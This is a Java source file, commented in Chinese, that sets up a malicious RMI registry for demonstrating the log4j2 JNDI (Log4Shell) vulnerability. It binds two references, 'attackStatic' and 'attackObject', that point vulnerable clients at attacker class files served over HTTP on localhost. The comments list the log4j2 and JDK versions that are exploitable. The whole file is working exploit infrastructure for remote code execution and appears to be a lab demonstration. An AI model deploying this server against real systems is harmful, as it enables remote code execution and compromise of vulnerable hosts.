import com.sun.jndi.rmi.registry.ReferenceWrapper;

import javax.naming.NamingException;
import javax.naming.Reference;
import java.rmi.AlreadyBoundException;
import java.rmi.RemoteException;
import java.rmi.registry.LocateRegistry;
import java.rmi.registry.Registry;

/**
 * @ClassName RmiService
 * @Discription RMI服务器--->模拟log4j2打印的远程地址
 * @Author gzjoeliu
 * @Date 2021/12/12 14:10
 **/
public class RmiService {
    /******
     *  演示版本 ------>jdk :1.8u181，log4j2:2.12.0
     *  log4j2漏洞范围：2.0<=log4j2.version  <2.15
     *  java 漏洞范围： jdk7-> jdk.version  <7u200
     *                jdk8-> jdk.version  <8u191
     * ***/
    public static void main(String[] args) throws RemoteException, NamingException, AlreadyBoundException {

        Registry registry = LocateRegistry.createRegistry(1008);

        // Reference需要传入三个参数(className,factory,factoryLocation)
        // 第一个参数随意填写，第二个参数填写我们的类名，第三个参数填写我们的远程地址
        Reference attackStaticReference = new Reference("attackStatic", "AttackStatic", "http://127.0.0.1:80/");
        Reference attackObjectReference1 = new Reference("attackObject", "AttackObject", "http://127.0.0.1:80/");
        ReferenceWrapper attackStaticWrapper = new ReferenceWrapper(attackStaticReference);
        ReferenceWrapper attackObjectWrapper1 = new ReferenceWrapper(attackObjectReference1);
        registry.bind("attackStatic", attackStaticWrapper);
        registry.bind("attackObject", attackObjectWrapper1);
        System.out.println("RegistryServer is running");
    }
}
